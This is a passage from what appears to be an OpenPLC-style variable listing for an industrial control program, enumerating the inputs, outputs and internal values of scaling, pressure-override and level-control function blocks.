+273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; +284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; +290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; 